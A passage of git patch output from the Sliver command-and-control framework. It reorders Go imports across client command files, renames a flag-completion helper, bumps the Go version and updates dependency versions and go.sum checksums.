"github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // TasksCmd - Manage beacon tasks. diff --git a/client/command/update/commands.go b/client/command/update/commands.go index 7528fa8e1f..3725ea4564 100644 --- a/client/command/update/commands.go +++ b/client/command/update/commands.go @@ -1,14 +1,15 @@ package update import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -29,7 +30,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("insecure", "I", false, "skip tls certificate validation") f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(updateCmd, func(comp *carapace.ActionMap) { (*comp)["proxy"] = completers.LocalProxyCompleter() }) diff --git a/client/command/update/update.go b/client/command/update/update.go index 933d925414..2beecbaffc 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -36,14 +36,15 @@ import ( "time" "github.com/AlecAivazis/survey/v2" + "github.com/cheggaaa/pb/v3" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" - "github.com/cheggaaa/pb/v3" - "github.com/spf13/cobra" ) // UpdateCmd - Check for updates. diff --git a/client/command/use/beacons.go b/client/command/use/beacons.go index f7948351eb..9d70c22440 100644 --- a/client/command/use/beacons.go +++ b/client/command/use/beacons.go @@ -19,9 +19,10 @@ package use */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // UseBeaconCmd - Change the active beacon. diff --git a/client/command/use/commands.go b/client/command/use/commands.go index bdc2ea3002..8ed2f1a8f1 100644 --- a/client/command/use/commands.go +++ b/client/command/use/commands.go @@ -1,15 +1,16 @@ package use import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. diff --git a/client/command/use/sessions.go b/client/command/use/sessions.go index dce1b81f4d..cc360b1dd2 100644 --- a/client/command/use/sessions.go +++ b/client/command/use/sessions.go @@ -19,9 +19,10 @@ package use */ import ( + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" - "github.com/spf13/cobra" ) // UseSessionCmd - Change the active session. diff --git a/client/command/use/use.go b/client/command/use/use.go index 6b11371b5e..ef96458fe0 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -28,13 +28,14 @@ import ( "text/tabwriter" "github.com/AlecAivazis/survey/v2" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) var ErrNoSelection = errors.New("no selection") diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go index 5567453e2a..1b4eb4da29 100644 --- a/client/command/wasm/commands.go +++ b/client/command/wasm/commands.go @@ -1,13 +1,15 @@ package wasm import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -31,7 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("skip-registration", "s", false, "assume the extension is already registered") f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") }) - flags.BindFlagCompletions(wasmCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(wasmCmd, func(comp *carapace.ActionMap) { (*comp)["file"] = carapace.ActionFiles() (*comp)["dir"] = carapace.ActionDirectories() }) diff --git a/client/command/wasm/memfs.go b/client/command/wasm/memfs.go index 787e7f3f98..5cd06883ff 100644 --- a/client/command/wasm/memfs.go +++ b/client/command/wasm/memfs.go @@ -5,9 +5,10 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) func parseMemFS(cmd *cobra.Command, con *console.SliverClient, args []string) (map[string][]byte, error) { diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index ff3ee0ff59..93c4c9e3b1 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -25,14 +25,15 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go index 727de3521b..465477aa96 100644 --- a/client/command/websites/commands.go +++ b/client/command/websites/commands.go @@ -1,13 +1,15 @@ package websites import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -51,7 +53,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("web-path", "p", "", "http path to host file at") }) websitesCmd.AddCommand(websitesRmWebContentCmd) - flags.BindFlagCompletions(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { (*comp)["website"] = WebsiteNameCompleter(con) }) @@ -70,7 +72,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") f.BoolP("recursive", "r", false, "recursively add/rm content") }) - flags.BindFlagCompletions(websitesContentCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(websitesContentCmd, func(comp *carapace.ActionMap) { (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") (*comp)["website"] = WebsiteNameCompleter(con) }) @@ -90,7 +92,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("web-path", "p", "/", "http path to host file at") }) websitesCmd.AddCommand(websitesContentTypeCmd) - flags.BindFlagCompletions(websitesContentTypeCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(websitesContentTypeCmd, func(comp *carapace.ActionMap) { (*comp)["website"] = WebsiteNameCompleter(con) }) diff --git a/client/command/websites/websites-add-content.go b/client/command/websites/websites-add-content.go index 9de9620269..86434cc811 100644 --- a/client/command/websites/websites-add-content.go +++ b/client/command/websites/websites-add-content.go @@ -28,9 +28,10 @@ import ( "path/filepath" "github.com/AlecAivazis/survey/v2" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // WebsitesAddContentCmd - Add static content to a website. diff --git a/client/command/websites/websites-rm-content.go b/client/command/websites/websites-rm-content.go index d36c8638de..2dbdc2b122 100644 --- a/client/command/websites/websites-rm-content.go +++ b/client/command/websites/websites-rm-content.go @@ -22,9 +22,10 @@ import ( "context" "strings" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // WebsitesRmContent - Remove static content from a website. diff --git a/client/command/websites/websites-rm.go b/client/command/websites/websites-rm.go index d1340b49a9..3f1203452d 100644 --- a/client/command/websites/websites-rm.go +++ b/client/command/websites/websites-rm.go @@ -21,9 +21,10 @@ package websites import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // WebsiteRmCmd - Remove a website and all its static content. diff --git a/client/command/websites/websites-update-content.go b/client/command/websites/websites-update-content.go index 7cf52d89c7..2e05c2abfe 100644 --- a/client/command/websites/websites-update-content.go +++ b/client/command/websites/websites-update-content.go @@ -21,9 +21,10 @@ package websites import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/spf13/cobra" ) // WebsitesUpdateContentCmd - Update metadata about static website content. diff --git a/client/command/websites/websites.go b/client/command/websites/websites.go index fc7ee3e7d5..e08f3a640a 100644 --- a/client/command/websites/websites.go +++ b/client/command/websites/websites.go @@ -23,13 +23,14 @@ import ( "sort" "strings" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) const ( diff --git a/client/command/wireguard/commands.go b/client/command/wireguard/commands.go index 5fab9a4e10..28011d9cd2 100644 --- a/client/command/wireguard/commands.go +++ b/client/command/wireguard/commands.go @@ -1,13 +1,15 @@ package wireguard import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -28,7 +30,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { f.StringP("save", "s", "", "save configuration to file (.conf)") }) - flags.BindFlagCompletions(wgConfigCmd, func(comp *carapace.ActionMap) { + completers.NewFlagCompsFor(wgConfigCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") }) diff --git a/client/command/wireguard/wg-config.go b/client/command/wireguard/wg-config.go index a7fcd9e172..8957f2c862 100644 --- a/client/command/wireguard/wg-config.go +++ b/client/command/wireguard/wg-config.go @@ -28,9 +28,10 @@ import ( "strings" "text/template" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/spf13/cobra" ) var wgQuickTemplate = `[Interface] diff --git a/client/command/wireguard/wg-portfwd-add.go b/client/command/wireguard/wg-portfwd-add.go index 97acc62950..6cd347d74d 100644 --- a/client/command/wireguard/wg-portfwd-add.go +++ b/client/command/wireguard/wg-portfwd-add.go @@ -22,9 +22,10 @@ import ( "context" "net" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // WGPortFwdAddCmd - Add a new WireGuard port forward. diff --git a/client/command/wireguard/wg-portfwd-rm.go b/client/command/wireguard/wg-portfwd-rm.go index ca57e19b51..59e8e54729 100644 --- a/client/command/wireguard/wg-portfwd-rm.go +++ b/client/command/wireguard/wg-portfwd-rm.go @@ -23,10 +23,11 @@ import ( "fmt" "strconv" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" ) // WGPortFwdRmCmd - Remove a WireGuard port forward. diff --git a/client/command/wireguard/wg-portfwd.go b/client/command/wireguard/wg-portfwd.go index d6d8d78a1f..ccb35046e6 100644 --- a/client/command/wireguard/wg-portfwd.go +++ b/client/command/wireguard/wg-portfwd.go @@ -21,11 +21,12 @@ package wireguard import ( "context" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" ) // WGPortFwdListCmd - List WireGuard port forwards. diff --git a/client/command/wireguard/wg-socks-start.go b/client/command/wireguard/wg-socks-start.go index bc1a34e1dd..7d60e6ff62 100644 --- a/client/command/wireguard/wg-socks-start.go +++ b/client/command/wireguard/wg-socks-start.go @@ -21,9 +21,10 @@ package wireguard import ( "context" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // WGSocksStartCmd - Start a WireGuard reverse SOCKS proxy. diff --git a/client/command/wireguard/wg-socks-stop.go b/client/command/wireguard/wg-socks-stop.go index cd11c31194..7436b172b2 100644 --- a/client/command/wireguard/wg-socks-stop.go +++ b/client/command/wireguard/wg-socks-stop.go @@ -22,9 +22,10 @@ import ( "context" "strconv" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/spf13/cobra" ) // WGSocksStopCmd - Stop a WireGuard SOCKS proxy. diff --git a/client/command/wireguard/wg-socks.go b/client/command/wireguard/wg-socks.go index aae46850c6..4a2c41bfe4 100644 --- a/client/command/wireguard/wg-socks.go +++ b/client/command/wireguard/wg-socks.go @@ -22,12 +22,13 @@ import ( "context" "strconv" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/jedib0t/go-pretty/v6/table" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" ) // WGSocksListCmd - List WireGuard SOCKS proxies. From 16733dde8546146cb67fd7d269ddeb19543ac015 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 11 Aug 2023 01:48:12 +0200 Subject: [PATCH 084/124] Update go 1.21 --- go.mod | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go.mod b/go.mod index 561ab5b9c6..83fbd1cc3a 100644 --- a/go.mod +++ b/go.mod @@ -1,6 +1,6 @@ module github.com/bishopfox/sliver -go 1.20 +go 1.21 // A fork of the completion engine is currently used in order to consume the engine // as a library. The fork is a very slightly patched mainline tree for that purpose, From 735c233b20a0cc5bb7c5ba4b35c576cc1d318e14 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 17 Aug 2023 05:55:26 +0200 Subject: [PATCH 085/124] Update console/readline dependency to latest version. --- go.mod | 9 +- go.sum | 38 + .../reeflective/readline/completions.go | 62 +- .../readline/internal/color/color.go | 51 +- .../internal/completion/completion.go | 4 + .../readline/internal/completion/display.go | 126 ++- .../readline/internal/completion/engine.go | 2 +- .../readline/internal/completion/group.go | 823 ++++++++---------- .../readline/internal/completion/hint.go | 14 +- .../readline/internal/completion/utils.go | 226 +++-- .../readline/internal/completion/values.go | 25 +- .../readline/internal/core/line.go | 2 +- .../readline/internal/display/engine.go | 28 +- .../readline/internal/display/highlight.go | 2 +- .../readline/internal/keymap/config.go | 13 +- .../readline/internal/keymap/cursor.go | 24 +- .../readline/internal/term/cursor.go | 8 +- .../readline/internal/term/term.go | 2 +- .../readline/internal/ui/prompt.go | 2 +- .../github.com/reeflective/readline/shell.go | 4 +- .../reeflective/team/client/client.go | 18 +- .../team/client/commands/version.go | 16 +- .../reeflective/team/client/directories.go | 2 +- .../reeflective/team/client/options.go | 40 +- .../reeflective/team/server/core.go | 11 +- .../reeflective/team/server/directories.go | 33 +- .../reeflective/team/server/options.go | 28 + .../github.com/reeflective/team/teamclient.go | 6 +- vendor/modules.txt | 2 +- 29 files changed, 994 insertions(+), 627 deletions(-) diff --git a/go.mod b/go.mod index 83fbd1cc3a..23d1c6c81a 100644 --- a/go.mod +++ b/go.mod @@ -12,6 +12,8 @@ replace github.com/reeflective/team => /home/user/code/github.com/reeflective/te replace github.com/reeflective/readline => /home/user/code/github.com/reeflective/readline +//replace github.com/reeflective/console => /home/user/code/github.com/reeflective/console + require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 @@ -40,10 +42,10 @@ require ( github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.1 - github.com/reeflective/console v0.1.7-0.20230810163856-bb6bbfdcae4a - github.com/reeflective/readline v1.0.8 + github.com/reeflective/console v0.1.7 + github.com/reeflective/readline v1.0.9 github.com/reeflective/team v0.0.0-20230730014339-6d91952bc187 - github.com/rsteube/carapace v0.42.1 + github.com/rsteube/carapace v0.43.0 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.7.0 github.com/spf13/pflag v1.0.5 @@ -150,6 +152,7 @@ require ( github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect + github.com/rsteube/carapace-shlex v0.0.4 // indirect github.com/tailscale/certstore v0.1.1-0.20220316223106-78d6e1c49d8d // indirect github.com/tailscale/golang-x-crypto v0.0.0-20221115211329-17a3db2c30d2 // indirect github.com/tailscale/goupnp v1.0.1-0.20210804011211-c64d0f06ea05 // indirect diff --git a/go.sum b/go.sum index 0e73e19954..e99618c340 100644 --- a/go.sum +++ b/go.sum @@ -1,12 +1,15 @@ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.110.0 h1:Zc8gqp3+a9/Eyph2KDmcGaPtbKRIoqq4YTlL4NMD0Ys= cloud.google.com/go/compute v1.19.1 h1:am86mquDUgjGNWxiGn+5PGLbmgiWXlE/yNWpIpNvuXY= +cloud.google.com/go/compute v1.19.1/go.mod h1:6ylj3a05WF8leseCdIf77NK0g1ey+nj5IKd5/kvShxE= cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= filippo.io/age v1.1.1 h1:pIpO7l151hCnQ4BdyBujnGP2YlUo0uj6sAVNHGBvXHg= filippo.io/age v1.1.1/go.mod h1:l03SrzDUrBkdBx8+IILdnn2KZysqQdbEBUQ4p3sqEQE= filippo.io/edwards25519 v1.0.0 h1:0wAIcmJUqRdI8IJ/3eGi5/HwXZWPujYXXlkrQogz0Ek= filippo.io/edwards25519 v1.0.0/go.mod h1:N1IkdkCkiLB6tki+MYJoSx2JTY9NUlxZE7eHn5EwJns= filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc= +filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA= github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74= github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ= github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo= @@ -24,6 +27,7 @@ github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIps github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/toml v1.2.1 h1:9F2/+DoOYIOksmaJFPw1tGFy1eDnIJXg+UHjuD8lTak= +github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM= github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow= @@ -46,6 +50,7 @@ github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQq github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74 h1:Kk6a4nehpJ3UuJRqlA3JxYxBZEqCeOmATOvrbT4p9RA= github.com/alexbrainman/sspi v0.0.0-20210105120005-909beea2cc74/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4= github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8= +github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4= github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q= github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI= github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs= @@ -87,6 +92,7 @@ github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5D github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic= github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww= github.com/cilium/ebpf v0.10.0 h1:nk5HPMeoBXtOzbkZBWym+ZWq1GIiHUsBFXxwewXAHLQ= +github.com/cilium/ebpf v0.10.0/go.mod h1:DPiVdY/kT534dgc9ERmvP8mWA+9gvwgKfRvk4nNWnoE= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/coreos/go-iptables v0.6.0 h1:is9qnZMPYjLd8LYqmm/qlE+wwEgJIkTYdhV3rfZo4jk= @@ -94,10 +100,12 @@ github.com/coreos/go-iptables v0.6.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFE github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= +github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8 h1:vtIE3GO4hKplR58aTRx3yLPqAbfWyoyYrE8PXUv0Prw= +github.com/dblohm7/wingoes v0.0.0-20230426155039-111c8c3b57c8/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs= github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE= github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY= github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E= @@ -112,6 +120,7 @@ github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= +github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= github.com/fxamacker/cbor/v2 v2.4.0 h1:ri0ArlOR+5XunOP8CRUowT0pSJOwhW098ZCUyskZD88= github.com/fxamacker/cbor/v2 v2.4.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo= github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY= @@ -179,6 +188,7 @@ github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ= +github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo= github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I= github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= @@ -229,6 +239,7 @@ github.com/jsimonetti/rtnetlink v1.3.2 h1:dcn0uWkfxycEEyNy0IGfx3GrhQ38LH7odjxAgh github.com/jsimonetti/rtnetlink v1.3.2/go.mod h1:BBu4jZCpTjP6Gk0/wfrO8qcqymnN3g0hoFqObRmUo6U= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM= +github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod 